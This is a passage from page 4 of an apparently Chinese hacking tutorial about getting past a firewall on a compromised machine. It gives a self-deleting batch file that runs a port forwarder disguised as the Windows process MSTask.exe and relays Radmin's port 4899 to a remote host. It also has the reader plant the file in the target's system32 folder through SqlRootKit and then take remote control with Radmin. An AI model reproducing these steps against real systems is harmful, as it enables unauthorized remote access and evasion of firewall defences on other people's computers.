>
MSTask.exe 4899 192.168.1.1 7788
Del %0
命名为go.bat，接着用SqlRootKit把“Fport.exe”和go.bat 一起copy到目标机子的c:\winnt\system32\（也就是MSTask所在的目录）在SqlRootKit里执行go.bat（注意如果要改MSTask.exe的名的话就需要有管理员权限）。
当FportClient出现“已经接受到远程计算机的连接！”时，用Radmin客户端连接本机的4899端口。
我们已经成功突破限制（由于防火墙没有限制本地连接4899端口，我们用Fport转发了它的端口，登录时等于本地连接，因此我们能够成功连接），这样一来，我们本不能逃过防火墙的Fport便变成了一个有“插线程”技术的端口转发工具了！
据我实验，国内的防火墙几乎无一例外的“拥有”这个B页码：[1] [2] [3] [4] [5] 第4页、共5页 |
